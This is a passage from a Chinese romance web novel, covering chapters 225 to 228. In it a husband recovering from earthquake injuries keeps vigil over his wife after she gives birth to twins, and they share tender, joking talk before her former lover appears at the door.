观察室里很安静,只有监测仪器规律的“滴滴”声,和空调送风的微弱声响。 他站在床边,目光像是焊在了岑予衿的脸上。 窗外的阳光透过百叶窗的缝隙洒进来,在她苍白的脸上投下斑驳的光影。 他仔细端详着她的每一处细节。 她微蹙的眉头,她轻颤的睫毛,她干燥的嘴唇,她眼角未干的泪痕。 这些细节组合在一起,勾勒出一幅让他心碎的画面。 他伸出手,指尖轻轻拂过她汗湿的额发,将几缕粘在脸颊上的发丝拨到耳后。 动作轻柔得像是在触碰世界上最珍贵的瓷器。 低哑的声音只在喉间滚动,带着无尽的祈求,“笙笙,你交代的事,我做了。两个孩子,我都抱过了,我是第一个抱的。” 他顿了顿,声音更轻了,“你醒来要是问起,护士们都能作证。” “你快醒过来……看看我。”他的眼眶发热,“别睡了,好不好?我害怕。” “孩子……我们的孩子,我抱过了。等你醒了,我们一起去抱,好不好?你一定会喜欢的,他们长得很漂亮,像你。” 他的声音渐渐哽咽,“但你最漂亮,在我心里,谁都比不上你,你在我心里是最最最漂亮的。” 观察室的一角,两个小小的婴儿被放在保温箱中,隔着透明的玻璃,能看到他们粉嫩的小脸蛋。 他们呼吸均匀,偶尔动动小拳头,咂咂小嘴,模样乖巧得让人心软。 男孩的包被是淡蓝色的,女孩的是粉色的,像两个安静的小天使。 陆老太太轻轻推开观察室的门,站在门口,红着眼眶抹了抹眼泪。 “真好,都平平安安的。”她小声对身边的护士说,“笙笙这孩子,真辛苦了。从怀孕就吐得厉害,后期脚肿得连鞋都穿不上,整夜整夜睡不着……可她从来没抱怨过一句。” 护士轻声回应,“是啊,陆太太真的很坚强。生产的时候那么疼,也依旧咬牙坚持下来了,进产房之前,还一直说要照顾好陆先生,绝对不能让有心之人伤到他。” 这些话飘进陆京洲的耳朵里,像针一样扎在他的心上。 他能清晰地看到岑予衿眼角未干的泪痕,想到她在产房里撕心裂肺却又压抑着的哭喊。 想到她明明自己疼得快要撑不住,却还惦记着他的伤口。 那一刻,他多想替她疼。他握着她的手,让她掐自己,可她即使在最痛苦的时候,也舍不得用力。 心脏就像是被温水浸泡的海绵,酸胀得厉害,每一次跳动都带着绵密的疼痛。 他低下头,在她的手背上轻轻落下一个吻。 那吻很轻,很柔,却饱含着无尽的情感和歉意。 “对不起,笙笙,”他的声音轻得像叹息,又重得像誓言,“以后再也不会让你受这样的苦了。” “我保证。” 阳光慢慢移动,从她的脸颊移到她的脖颈。 监测仪上的数字平稳地跳动着。 窗外的梧桐树上,一只鸟儿轻轻鸣叫,然后又飞走了。 时间在寂静中流淌,每一秒都被拉得很长。 不知过了多久,岑予衿的睫毛轻轻颤动了一下。 陆京洲猛地屏住呼吸,身体前倾,眼睛一眨不眨地盯着她。 她的眉头又微微蹙起,嘴唇动了动,发出一声几不可闻的呻吟。 “笙笙?”陆京洲的声音紧张得发颤,“笙笙,你能听见我吗?” 她的睫毛又颤动了几下,然后,缓缓地,睁开了眼睛。 那双眼睛起初有些迷茫,没有焦距地望着天花板,然后慢慢地、慢慢地转向他。 当他们的目光相遇时,陆京洲觉得自己的心脏都要停止跳动了。 她的眼睛还很疲惫,眼底有红血丝,但当他出现在她的视线中时。 那眼睛里渐渐有了光,有了温度,有了……他熟悉的、只属于他的温柔。 “阿洲……”她的声音沙哑得几乎听不见,嘴唇干裂得有些起皮,“你终于醒了,我不是在做梦,我还以为……我这辈子都见不到你了,你昏迷了那么久,吓死我了。” 她的声音带着哭腔,莫名的委屈,“你还记得我吗?你还知道我是谁吗?失忆了没有?伤口还疼不疼?最爱的还是我吗?” 陆京洲的心被这一连串带着哭腔的询问彻底揉碎了,酸涩与甜蜜交织着涌上喉咙。 他连忙俯身,用指腹轻柔地拭去她眼角新渗出的泪珠,声音低沉而坚定,一字一句,清晰无比地回应她每一个不安的问题。 “记得。”他握住她的手,贴在自己脸颊,让她感受真实的温度。 “我怎么会不记得?你是周芙笙,是我的笙笙,是我豁出命去也要守护的人。” “你是我的妻子,是我陆京洲这辈子唯一的老婆。” 他凝视着她的眼睛,不允许她有丝毫怀疑,“这个身份,从我们结婚那天起,就烙在我的灵魂里,谁都取代不了,永远都不会变。” 他轻轻摇头,眼底是浓得化不开的深情与后怕,“我也没有失忆。昏迷的那些日子,我的世界一片黑暗,可我总觉得有个人在叫我,在等我。是你的声音把我从深渊里拉回来的。关于你的一切,我比记得自己的呼吸还要清晰。” 提到伤口,他眉头都没皱一下,只专注地看着她,“伤口早就不疼了。比起你受的苦,我那点伤算什么?笙笙,你才是那个在鬼门关走了一遭的人。” 他的目光扫过她依旧苍白的面容,心疼得无以复加。 最后,他双手捧住她的脸,额头轻轻抵上她的额头,鼻尖相触,呼吸交融。 他的声音压得极低,却带着千钧的重量,一字一字敲在她的心上。 “我最爱的是谁?” “周芙笙。” “永远都是周芙笙。” “只有周芙笙。” 他微微退开一点,好让她看清自己眼中不容错辨的赤诚与狂热,又重复了一遍,像是在宣读一生最重要的誓言,“我最爱的,永远都是你,周芙笙。” “我在,我在这里。”陆京洲凑近,握住她的手贴在自己脸上,“疼不疼?难受吗?要不要叫医生?” 她轻轻摇了摇头,目光在他脸上流连,像是在确认他的存在,“不疼了,早就不疼了。” 然后,她像是想起了什么,眼神忽然变得急切,嘴唇动了动,“孩子……我们的宝宝……怎么样?是双胞胎还是龙凤胎?一男一女还是两个男宝宝或是两个女宝宝?” “宝宝很好,”陆京洲立刻回答,声音温柔得能滴出水来,“两个都很健康,一男一女,是龙凤胎。我看到了,他们长得很漂亮,像你。” 岑予衿的眼神柔软下来,但随即又染上一丝紧张,“你……你抱了吗?第一个抱的……是你吗?” 陆京洲的心像是被什么温暖的东西包裹了。 即使刚从昏迷中醒来,即使身体还承受着巨大的痛苦,她最关心的竟然是这个。 “抱了,”他认真地点头,握住她的手,“我是第一个抱的,两个都抱了。护士们都能作证。” 岑予衿的嘴角微微上扬,那是一个虚弱却真实的笑容。 她像是松了口气,又像是完成了什么重要的心愿。 “那就好……”她轻声说,眼睛慢慢闭上,又像是要睡去。 “笙笙?”陆京洲紧张地唤她。 “我没事……就是好累……”她的声音越来越小,“让我睡一会儿……就一会儿……” “好,你睡,我守着你。”陆京洲为她掖好被角,手指轻轻抚过她的脸颊,“我哪儿都不去,就在这里守着你。” 她的呼吸渐渐平稳,再次陷入沉睡。 但这一次,她的眉头是舒展的,嘴角还带着一丝若有若无的笑意。 陆京洲长久地凝视着她的睡颜,然后转头看向保温箱里的两个孩子。 阳光下,两个小家伙睡得正香,粉嫩的小脸在光晕中显得格外柔和。 这一刻,一种奇异的、完整的幸福感终于慢慢涌上心头。 他的妻子平安,他的孩子健康。 他的世界,终于完整了。 他也在最后一刻醒了过来,虽然没有完整的陪她走完整个产程,但至少……没让她经历这一切! 说实话,地震时将他护在身下,他就没有想过自己还能再活过来。 还有和她往下走的机会。 他们是不幸的,又是幸运的。 第226章 完全是盯妻狂魔来的 陆京洲就那样坐在床边,一手握着岑予衿的手,一手轻轻搭在床沿,目光在她与保温箱之间来回流转。 阳光渐渐爬高,透过百叶窗的光影在地板上挪出长长的轨迹。 监测仪的“滴滴”声依旧规律,却不再显得冰冷,反倒成了这静谧空间里最安心的背景音。 陆老太太没有再进来打扰,只是让护士每隔半小时进去查看一次,顺带悄悄给他递上一杯温水。 他接过水,却舍不得松开岑予衿的手,只能用另一只手小口小口地喝,目光始终没有离开她的脸。 他怕自己一转头,她又会陷入绵长的昏睡,怕那些眼角的泪痕再次蔓延,怕她承受的苦楚还没来得及消散。 不知过了多久,保温箱里的小男孩忽然哼唧了一声,小拳头攥得紧紧的,像是在梦里遇到了什么趣事。 陆京洲的视线立刻被吸引过去,他放轻脚步走过去,俯身贴着透明的玻璃,仔细端详着那个小小的生命。 男孩的眉眼确实像极了岑予衿,尤其是那微微上挑的眼尾,连睡觉时都带着几分娇憨的灵动。 旁边的小女孩则安静许多,呼吸均匀,长长的睫毛覆盖在眼睑上,像两把小小的扇子,粉色的小嘴偶尔翕动一下,模样软糯得让人心都化了。 老婆生的宝宝真好看~ 两个都好看~ 陆老太太在门口看了半晌,瞧着自己那高大挺拔的孙子。 此刻像个不知疲倦的哨兵,又像个守着稀世珍宝的吝啬鬼,一动不动地钉在床边。 完全是盯妻狂魔来的。 她终于忍不住,轻手轻脚地推门进来,走到陆京洲身后,抬手,不轻不重地一巴掌拍在他没受伤的那侧肩背上。 “傻小子!” 陆京洲正全神贯注地看着儿子挥动的小拳头,冷不防被拍了一下,身体微微一震,诧异地回头,看到是奶奶,眼中还带着被打断观察孩子的不解,“奶奶?” “看什么看!”陆老太太压低声音,带着不容置疑的威严,手指头虚虚点了点宽敞的病床,“床这么大,笙笙一个人占了多少?你上去,躺她边儿上,一块儿睡!” 陆京洲愣了一下,下意识摇头,声音压得更低,“奶奶,不行,我得守着她,照顾她……她现在离不了人。” “你照顾她?”陆老太太气笑了,又拍了他一下,这次力气大了些。 “你看看你自己!眼底发青,嘴唇发白,刚从阎王爷那儿抢回来的命,身上还带着没养利索的伤!你自己就是个顶级病号!才醒过来几天?啊?在这儿硬撑!你是不是还想再昏迷一次,让刚生产完的笙笙反过来为你提心吊胆?” 陆老太太越说越气,又心疼又恼怒,“你现在最重要的事,就是把自己给我照顾好喽!你好了,才能真真正正地照顾她,照顾孩子们!你现在这副风吹就倒的样子,是能抱得动孩子,还是能扶得起笙笙?别添乱就是帮忙了!” 陆京洲被奶奶劈头盖脸一顿说,嘴唇动了动,却无从反驳。 他下意识看向病床上沉睡的岑予衿,她苍白的脸色映在他眼里,刺得他心脏一缩。 是啊,他现在这样……如果真倒下了,她该怎么办? 陆老太太见他神色松动,语气也缓了下来,带着老年人特有的、不容置喙的关切,“听奶奶的,上去躺着。就挨着笙笙,又不妨碍你看着她。闭上眼睛歇一会儿,哪怕一个小时也行。你在这里干熬,消耗的是你自己的元气,也是笙笙将来的依靠。” 她说着,伸手轻轻推了推陆京洲的后背,朝病床方向示意,“快去。我看着呢,孩子们我看着,护士也在外面。天塌不下来。” 陆京洲迟疑了片刻,目光在祖母脸上坚定的神色和岑予衿安睡的容颜间游移。最终,他败下阵来。 奶奶的话句句在理,他现在确实没有逞强的资本。 他深吸一口气,轻轻松开一直握着岑予衿的手,动作间带着万般不舍。 然后,他扶着床沿,极其缓慢而小心地挪上床。 病床足够宽敞,他在岑予衿身侧空余的位置躺下,尽量不挤压到她,甚至不敢完全放松身体,只侧卧着,面朝着她。 即便躺下了,他的目光依旧牢牢锁在她脸上。 陆老太太看着孙子那副即使躺下也依然紧绷着、眼睛睁得老大的样子,又是无奈又是心疼。 她走过去,轻轻拍了拍他的胳膊,“闭眼。睡觉。” 陆京洲拗不过,只好依言闭上眼睛。 然而,长久的紧张和疲惫一旦找到了宣泄的出口,身体便不再听从意志的指挥。 岑予衿身上传来的、混合着淡淡消毒水味的熟悉体香,身下柔软的床铺以及耳边她均匀清浅的呼吸声…… 这一切让人心安。 起初,他只是想闭目养神,可沉重的眼皮渐渐黏在了一起。 呼吸,不知不觉间,放缓,拉长。 他并没有完全沉睡过去,意识浮浮沉沉,始终留着一线清明,警惕着身边人的任何动静。 但在这种半梦半醒的放松状态下,身体深处积压的疲惫和伤痛,终于得到了些许喘息和修复的机会。 陆老太太站在床边,看着并排躺着的两人。 岑予衿依旧沉睡着,眉头比之前舒展了许多。 而陆京洲,虽然眉头还习惯性地微蹙,但紧抿的唇线松开了,整个人的状态肉眼可见地松弛下来。 一大一小两个婴儿在保温箱里睡得安稳,阳光暖暖地笼罩着这一方小小的天地。 老人布满皱纹的眼角,终于漾开了一丝真正放松欣慰的笑意。 意识回笼时,岑予衿最先感受到的是身侧温热的重量。 不是医院病床的冰凉,而是带着熟悉体温的怀抱。 陆京洲的手臂正松松地圈着她的腰,掌心贴着她的后背,力道轻柔却带着不容错辨的依赖。 他的胸膛贴着她的肩膀,温热的呼吸均匀地洒在她的颈窝,带着淡淡的消毒水味,却比任何安神香都让人心安。 岑予衿的睫毛轻轻颤动了几下,没有立刻睁眼,而是先放缓了呼吸,细细感受着这份久违的贴近。 生产时的剧痛、醒来时的迷茫都已淡去,只剩下浑身浅浅的酸痛,以及心底蔓延开来的柔软暖意。 她悄悄睁开眼,视线缓缓移向身侧的男人。 陆京洲睡得很沉,平日里凌厉深邃的眉眼此刻全然舒展。 长长的睫毛在眼睑下投下一小片阴影,鼻梁高挺,薄唇微抿,褪去了商场上的冷硬,竟露出几分难得的稚气。 只是眼底淡淡的青黑,还有眉宇间未完全散去的疲惫,都在无声诉说着他这些日子的煎熬。 他的手还紧紧攥着她的一角衣袖,像是怕她会突然消失一般,指节因为用力而微微泛白。 岑予衿看着他这副模样,鼻尖微微发酸,心疼得不行。 她知道他刚从昏迷中醒来不久,身上还有伤,却硬是撑着守在她身边,想必是累坏了。 她动了动手指,想抬手摸摸他的脸颊,指尖刚碰到他的下颌线,就见他眉头几不可察地蹙了一下,呼吸节奏微微乱了半拍。 岑予衿立刻顿住动作,生怕吵醒他,连忙收回手,静静凝视着他的睡颜。 片刻后,她的目光不由自主地飘向了不远处的保温箱。 那两个小小的身影就躺在里面,隔着透明的玻璃,能看到他们粉嫩的小脸蛋。 阳光透过百叶窗,在保温箱上投下斑驳的光影,将两个小家伙衬得愈发乖巧可爱。 岑予衿的心瞬间被填满,一种强烈的母爱涌上心头,让她忍不住想靠近,想好好看看这两个她拼尽全力生下的宝贝。 她小心翼翼地挪动身体,想从陆京洲的怀抱里抽离出来。 可刚一动,圈在她腰间的手臂就下意识地收紧了些,陆京洲的头微微动了动,下巴蹭了蹭她的颈窝,含糊地哼唧了一声,像是在抗议。 岑予衿立刻僵住,大气都不敢喘,等了几秒见他没有醒的迹象,才又慢慢试探着掰开他的手指。 他的手指很烫,带着薄茧,掰开时还能感觉到他指尖的轻微颤抖。 她动作极慢,每一个指节都轻轻揉搓着分开,生怕弄醒他。 好不容易挣脱开他的怀抱,她撑着手臂想坐起来,刚一用力,腰腹间就传来一阵酸痛,让她忍不住倒吸了一口凉气。 她咬了咬唇,不敢发出声音,只能一点点调整姿势,用枕头垫在身后,慢慢坐直了身体。 身下的床垫轻微下陷,陆京洲似乎被惊动了,翻了个身,面朝外侧,眉头微蹙,嘴里低声呢喃了一句,“笙笙……别跑……” 岑予衿的心猛地一软,停下动作,俯身凑近他,在他的额头上轻轻印下一个吻,声音轻得像羽毛,“我在呢,不跑,就在这儿。” 许是听到了她的声音,陆京洲的眉头渐渐舒展,呼吸又恢复了平稳。 岑予衿这才放心,慢慢挪到床边,双脚轻轻落地。 刚一站稳,腿就有些发软,她扶着床沿缓了缓,才一步一步,蹑手蹑脚地朝着保温箱走去。 保温箱里的两个小家伙睡得正香。 男孩穿着淡蓝色的包被,小胳膊小腿蜷缩着,小拳头紧紧攥着,像是在握着什么宝贝,嘴角还微微上扬,不知道做了什么美梦。 岑予衿俯身贴着玻璃,仔细看着他的眉眼,越看越觉得亲切,那微微上挑的眼尾,那小巧的鼻尖,分明就是陆京洲的翻版。 “我的小宝贝……”她轻声呢喃,声音里带着抑制不住的笑意,指尖轻轻点在玻璃上,像是在触碰他柔软的小脸蛋,“妈妈来看你啦。” 旁边的小女孩则安静许多,粉色的包被衬得她皮肤愈发白皙,长长的睫毛像两把小扇子,覆盖在眼睑上,呼吸均匀而绵长。 她的小嘴巴偶尔翕动一下,像是在咂奶,模样软糯得让岑予衿的心都化了。 “宝宝,”岑予衿的声音更柔了,眼底满是宠溺,“你怎么这么乖呀,我是妈妈~” 她就那样站在保温箱前,俯身凝视着两个孩子,一看就是好久。 阳光慢慢移动,将她的影子拉得很长,映在地板上,与保温箱里的小小身影重叠在一起。 她的脸上带着温柔的笑意,眼底闪着泪光,那是初为人母的喜悦与感动,是历经磨难后终于得偿所愿的欣慰。 不知过了多久,她的腿有些发麻,才轻轻直起身,揉了揉酸胀的腰。 转身时,目光不经意间又落在了床上的陆京洲身上。 他还在睡,只是不知何时,又翻了个身,面朝她的方向,手臂依旧保持着圈抱的姿势,像是在寻找她的身影。 岑予衿看着他,嘴角的笑意更深了。 她轻手轻脚地走回床边,想重新躺下,却不想刚靠近,陆京洲就像是有感应一般,猛地睁开了眼睛。 第227章 孩子怕是凶多吉少? 他的眼睛里还带着初醒的迷茫,雾气蒙蒙的,视线却精准地捕捉到了她。 几乎是瞬间,那抹迷茫被惊慌取代。 他撑着胳膊就要坐起来,声音沙哑发紧,“笙笙?你怎么起来了?是不是哪里不舒服?” “没有没有,”岑予衿连忙按住他的肩膀,动作牵扯到腰腹,让她忍不住蹙了下眉,却还是柔声安抚。 “我很好,就是想去看看宝宝。你别动,快躺好。” 陆京洲哪肯听,他已经完全清醒,目光迅速在她身上逡巡。 见她脸色虽然依旧苍白,但精神还可以,才稍稍松了口气。 但他还是坐了起来,小心地扶着她,让她靠坐在床头,又扯过被子仔细给她盖好。 “想看宝宝叫我一声就好,或者按铃让护士抱过来。” 他皱着眉,语气是担忧的责备,“地上凉,你刚生完,不能久站,更不能着凉。万一摔了怎么办?” 说着,他的手已经不由分说地探进被子里,轻轻覆在她的小腹上,隔着薄薄的病号服,用掌心温着。 他掌心的温度熨帖着她酸胀的腹部,岑予衿舒服得轻轻喟叹一声,靠进他怀里。 “我看你睡得沉,不想吵醒你嘛。”她小声嘟囔,带着点撒娇的意味,“你累坏了,需要好好休息。” “我再累也没有你累。”陆京洲的下巴蹭了蹭她的发顶,声音闷闷的。 “以后不许这样,有什么事,一定要叫我。” 他顿了顿,补充道,“或者,我陪你一起。” “好,知道了。”岑予衿笑着应下,手指无意识地卷着他病号服的衣角,“你看宝宝了吗?是不是特别可爱?” “看了。”提起孩子,陆京洲的语气也柔和下来,带着初为人父的笨拙的骄傲,“儿子像我,女儿像你。都好看,但最好看的还是我老婆。” 岑予衿被他逗笑,脸颊微红,轻轻捏了捏他的下巴,“只会哄我。” 她想起刚才看到的,“儿子睡着了还挥小拳头呢,不知道梦到什么好吃的了。女儿好乖,安安静静的,睫毛好长。” “嗯。”陆京洲想起自己观察到的,“儿子活泼,像个小炮仗。女儿文静,像个小公主。” 他侧过头,吻了吻她的耳廓,低声道,“辛苦你了,笙笙,给我生了这么两个宝贝。” 岑予衿摇摇头,在他怀里找了个更舒服的位置,目光又飘向保温箱。 “不辛苦,值得的。”她轻声说,然后像是想起什么,仰头看他,眼睛亮晶晶的,“你给他们起名字了吗?” “没有。”陆京洲握住她的手,一根手指一根手指地把玩着,“你想一个?” 一时半会也想不出来,“等会一起想。” 岑予衿用力点头,忽然想起什么,皱了皱鼻子,“对了,那你的身体呢?伤口还疼吗?医生怎么说?有没有后遗症?” “不疼了,快好了。没有后遗症,就是需要时间恢复。” 陆京洲耐心地一一回答,“倒是你,双胎顺产,伤元气,要好好坐月子,不许胡思乱想,不许操心,只负责吃饭睡觉,逗逗孩子,逗逗我,嗯?” “逗逗你?”岑予衿失笑,“陆大总裁什么时候成解闷儿的了?” “在你面前,我永远都是。”陆京洲低下头,额头抵着她的额头,鼻尖相触,呼吸交融,“笙笙,这次……我真的怕了。答应我,以后无论如何,把自己的安危放在第一位。” 岑予衿望进他深邃的眼眸,那里面盛满了劫后余生的恐惧和失而复得的珍重。她心尖发颤,郑重地点头。 “我答应你。你也一样,阿洲。我们再也不要经历这样的分离了。” “好。”他应下,是一个重于千斤的承诺。 两人静静依偎了一会儿,享受着这片刻的安宁。 直到保温箱那边传来女儿细细的哼唧声,像是要醒了。 “是不是饿了?”岑予衿立刻紧张起来,想下床,“我去看看。” “你别动,我去。”陆京洲按住她,自己起身走过去。 他动作还是有些小心,但比之前流畅了许多。 他站在保温箱前,看着里面开始蠕动的小小女儿,有些手足无措,回头看向岑予衿,“她……她好像在找什么?” 岑予衿看着他那副紧张又笨拙的样子,忍不住笑起来,“可能是饿了,或者该换尿布了。你按铃叫护士吧。” 陆京洲如蒙大赦,赶紧按了铃。 护士很快进来,熟练地检查了一下,笑道,“陆太太,陆先生,小小姐可能是有点饿了,可以先尝试哺乳。小少爷还在睡。” 岑予衿的脸一下子红了,点了点头。 在护士的指导和陆京洲的搀扶下,她小心翼翼地调整好姿势。 当女儿被轻轻放到她怀里,本能地寻找食物时,一种血脉相连的悸动涌遍全身。 陆京洲就坐在床边,一眨不眨地看着她们母女。 看着女儿小小的脑袋依偎在妻子胸前,看着岑予衿脸上那温柔得能滴出水来的表情,一种前所未有的、滚烫的幸福感将他彻底淹没。 “疼吗?”他低声问,手指轻轻拂过岑予衿汗湿的额发。 岑予衿摇摇头,目光片刻不离怀中的小人儿,“不疼,就是……好奇妙的感觉。” 她抬头,对他绽开一个虚弱却无比灿烂的笑容,“阿洲,我们有家了。” 是的,有她,有孩子们,就有了他全部的世界,他最珍贵的家。 护士在一旁轻声指导着哺乳的姿势和技巧。 陆京洲听得比签百亿合同还认真,时不时皱眉确认“这个角度对吗?” “她会不会吸不到?” 岑予衿被他紧张的样子逗得想笑,又怕惊扰了怀里的女儿,只能抿着唇,眼角弯弯。 女儿起初不得要领,急得哼唧,小脸都憋红了。 在岑予衿耐心的尝试和护士的帮助下,终于成功衔住,开始努力地吮吸起来。 小小的吞咽声,在静谧的房间里格外清晰。 陆京洲长长舒了口气,像是完成了一项重大工程。 他仍旧不错眼地看着,看着女儿努力的模样,看着岑予衿温柔垂下的眼睫,心里软得一塌糊涂。 病房门被轻轻叩响,接着,岑予衿的主治医生李主任带着两名护士查房走了进来。 “陆先生,陆太太。”李主任笑着打招呼,目光落在正在哺乳的岑予衿身上,语气温和。 “看来我们的小公主很努力嘛。陆太太感觉怎么样?有没有哪里特别不舒服?” 岑予衿有些不好意思,但在医院里也顾不得太多,轻声回答,“还好,就是没什么力气。” “正常的,双胎顺产,又是胎位调整过的,体力消耗非常大。” 李主任一边示意身后护士记录,一边走近了些,观察着宝宝的吸吮和岑予衿的状态,“哺乳姿势很好,保持下去。刚开始可能会有些困难,尤其是双胎,妈妈要更辛苦些,但坚持母乳喂养对妈妈恢复和宝宝免疫力都非常好。” 陆京洲立刻点头,像接到军令状,“我们一定坚持。需要什么营养品,或者有什么注意事项,您尽管说。” ”她顿了顿,似乎想起什么,闲聊般说道,“说起来,今天产科真是忙。你们这边龙凤胎平安落地是大喜事,隔壁楼妇产科那边,周家的少夫人就没这么幸运了。” “周家?”陆京洲下意识重复,眉头微蹙。 “是啊,就是周时越周先生的太太,林舒薇小姐。” 李主任叹了口气,“听说是在家下楼梯时不小心滑了一跤,当场就见红了,送来的时候情况很危急,胎心都不稳了,直接推进了手术室,现在人还在抢救,孩子……怕是凶多吉少。” 岑予衿正低头看着女儿,听到这话,身体几不可察地僵了一下,随即恢复了正常,只是眼神微微暗了暗。 陆京洲敏锐地察觉到了她的细微变化,握紧了她的手,目光看向李主任,语气平淡但带着疏离,“李主任,我太太需要静养,这些事情,还是不要在她面前提了。” 李主任愣了一下,随即意识到自己可能多嘴了。 这些豪门世家关系盘根错节,谁知道里面有什么恩怨。 她立刻歉意地笑了笑,“抱歉,陆先生,是我多言了。陆太太好好休息,我们就是例行检查,不打扰你们了。” 送走医生护士,病房里重新恢复了安静,只有女儿细微的吮吸声。 陆京洲低头看着岑予衿,她依旧专注地喂着孩子,侧脸平静,仿佛刚才什么都没听到。但他知道,她听到了。 “笙笙。”他唤她,声音低沉。 岑予衿抬起头,对他笑了笑,那笑容却有些勉强,“怎么了?” “你在想周家的事吗?”他问得直接。 第228章 周时越,你是不是有病? “我和他们都没关系,想他们的事干什么?” 岑予衿想到了她和周时越之间的关系,有些无奈的耸了耸肩,“不想管他们,我现在最想管的只有你和宝宝,我觉得我很幸福。” 有一个奋不顾身拼了命都要护着她的老公。 还有两个可爱的宝宝。 儿女双全,虽然她前几年过的不好,但是出生到家里破产之前,她就没吃过什么苦。 破产之后,也过得马马虎虎,有周时越拼命的护着…… 过得最痛苦的几年无非就是周时越坠海失忆,她奋不顾身的找他那几年。 到现在有了陆京洲,岑家的公司拿回来了,被拍卖的老宅也拿回来了。 当年的事情,现在她一直在找线索,已经很圆满了。 一切都在往好的方向发展,这已经是她一年前想都不敢想的事情。 陆京洲凝视着她眼中重新亮起的光芒。 那光芒不再是为过往阴霾所困的黯淡星辰,而是切切实实映照着当下温暖的灯火。 他心口那块自从得知她过去经历后便一直隐隐作痛的石头,终于松动了几分。 他其实一直有个疑问,为什么脑子里面一直会有衿衿这个称呼。 地震昏迷之前,她好像说要和他坦白一个秘密,至于这个秘密到底是什么,他真的没听到。 太痛了! 现在想起来还瑟瑟发抖。 这也就是放在自己老婆身上,放其他人身上,他早跑了。 绝对坚持不住。 还有奶奶,他能确定他迷迷糊糊听到的就是这个声音。 躺在医院里的时候似乎还听到了周时越的声音,他们具体说的是什么他忘了。 不过我相信老婆是他唯一的原则,老婆不说,他才不问呢。 伤了和气就不好了。 陆京洲俯身,轻轻吻了吻她的额角。 “对,我们很幸福。”他重复她的话,语气笃定,像在向某种冥冥中的力量宣告。 “以后会更幸福。所有糟心的人和事,都不配再来打扰你分毫。” 就在这时,怀里的小女儿似乎吃饱了,松开了口,小脑袋一歪,满足地咂咂嘴,又沉沉睡去。 岑予衿小心翼翼地调整姿势,陆京洲立刻上前帮忙,将女儿接过来,动作虽然还有些生涩,但已然透出小心翼翼的珍重。 他学着刚才护士的样子,轻轻拍着女儿的背,直到听到一声细小的嗝声,才松了口气,嘴角不自觉扬起,“小孩真奇怪。” “就像是设定好的程序,只要触发了开关,她就会发出响声。” 岑予衿成功被他这话逗笑了,“什么叫设定好的程序呀~” “怎么不是程序?”陆京洲一本正经,低头端详着女儿熟睡的小脸,手指虚虚点着她微翘的鼻尖,“你看,输入指令‘轻轻拍背’,经过短暂运算,输出结果‘打出奶嗝’。精准,高效,符合逻辑。” 岑予衿笑得眉眼弯弯,腹部的伤口都隐隐作痛,她连忙按住,嗔怪道,“你别逗我笑,我不能笑,扯的疼死了……哪有你这么形容自己女儿的?还高效,你还想她给你出份分析报告不成?” “可以考虑。”陆京洲煞有介事地点头,把女儿放回小床,又走回床边,仔细帮岑予衿调整了一下背后的靠枕,让她更舒服些。 “等她长大了,我得问问,当时拍背的力度、频率和角度,哪个变量对触发‘奶嗝程序’最关键。这可是重要的育儿数据。” “陆总,这里是产科,不是你的实验室。”岑予衿抬手,轻轻戳了戳他绷紧的下颌线,“那儿子呢?你观察出什么‘程序’没有?” 陆京洲握住她作乱的手指,包在掌心,表情变得有些微妙,像是遇到了棘手的科研难题。 “儿子那个程序……”他顿了顿,目光瞟向保温箱里睡得四仰八叉、偶尔还蹬一下腿的小家伙。 “目前看来,有点不稳定。主要运行模式似乎是‘随机拳法生成系统’和‘间歇性高能嚎哭模块’,触发条件不明,且耗电量巨大……特指你我的精力。” “噗~哈哈哈哈”岑予衿这次没忍住,直接笑出了声,又赶紧捂住嘴,怕吵醒孩子们,肩膀却笑得一抖一抖的。 “陆京洲!你……你把他当什么了!还‘随机拳法’……那是宝宝在活动筋骨,在长身体!” “活动筋骨需要无差别挥击吗?”陆京洲挑眉,回忆起儿子刚才睡着还挥拳的样子。 “我合理怀疑,他在梦里可能加载了‘拳击冠军模拟程序’。等他醒了,我得测试一下,是听到我声音挥拳的概率高,还是听到你声音挥拳的概率高。” “测试?”岑予衿故意板起脸,眼里却满是笑意,“你这套研究方法用在宝宝身上,会被育儿专家批评的。” “批评无效。”陆京洲低头,蹭了蹭她的鼻尖,声音压得低低的,带着笑意和宠溺。 “在我这里,关于你们母子的所有研究,方法论由我独家定义。目前初步结论是,女儿是稳定运行的温馨治愈系程序,儿子是亟待观察调试的活力冒险系程序,而他们的妈妈……” 他故意拉长声音,看着她微微睁大的眼睛。 “是什么?”岑予衿追问。 “是最高权限的管理员,唯一能让我所有逻辑分析失效的bug,也是……” 他吻了吻她的唇角,气息温热,“也是我终极系统里,最完美、最不可替代的核心代码。” 岑予衿脸颊绯红,心里甜得像是浸了蜜,嘴上却还不饶人,“花言巧语,代码都是冷冰冰的。” “不冷。”陆京洲将她连同被子一起轻轻拥住,下巴搁在她发顶,“遇到你之后,我的整个世界,都升温了。” “我来吧,你休息。”岑予衿看着他专注的侧脸,轻声道。 陆京洲摇摇头,将女儿放回保温箱旁边的小床上,盖好小被子,又转身扶岑予衿慢慢躺下,“老婆,躺下躺下。” 岑予衿已经躺不住了,但是是在坐月子,不躺是不可能的,还是乖乖躺了回去。 陆京洲看了一眼腕表,下床穿拖鞋。 “阿洲,地震的时候,我说我要跟你坦白一个秘密,你那时候到底听到了没啊?” 陆京洲已经站起身要往外走了,听到她这话有些心虚,“听了听了……” “真的?听清楚了吗?”岑予衿的心一下子提到了嗓子眼,“那你……那你没有什么想对我说的吗?” “有啊当然有,稍等我2分钟,等我回来了再慢慢跟你说。” 岑予衿有些疑惑的看着他,“你要去哪?” “这是一个秘密,等会再说~” 陆京洲飞快的在他的脸上亲了一下,像只花蝴蝶一样飞了出去。 岑予衿看着他的样子,眉头皱的紧紧的。 所以……他真的听清楚了吗? 听清楚了,他也没有要怪他的意思吗? 还是说他根本就没有听清楚,现在是骗她的。 算了,反正也要跟他坦白,等他回来再说。 以免夜长梦多。 陆京洲前脚刚离开病房,门还没来得及完全合拢,一道修长却略显疲惫的身影便出现在了门口,挡住了即将关闭的门缝。 是周时越。 他身上的西装有些皱,眼下带着浓重的青黑,目光先是下意识地扫过房间里温馨的场景。 熟睡的婴儿,靠在床头面色苍白却带着温柔笑意的岑予衿。 视线定定地落在了岑予衿脸上,嘴唇动了动,似乎想说什么,却又哽住。 岑予衿脸上的笑意瞬间褪得干干净净,像是被寒风刮过。 她甚至没等周时越开口,眉头已经紧紧蹙起,眼神里是毫不掩饰的疏离与一丝……荒谬感。 “周时越?”她的声音不大,却透着冷,“你在这里干什么?” 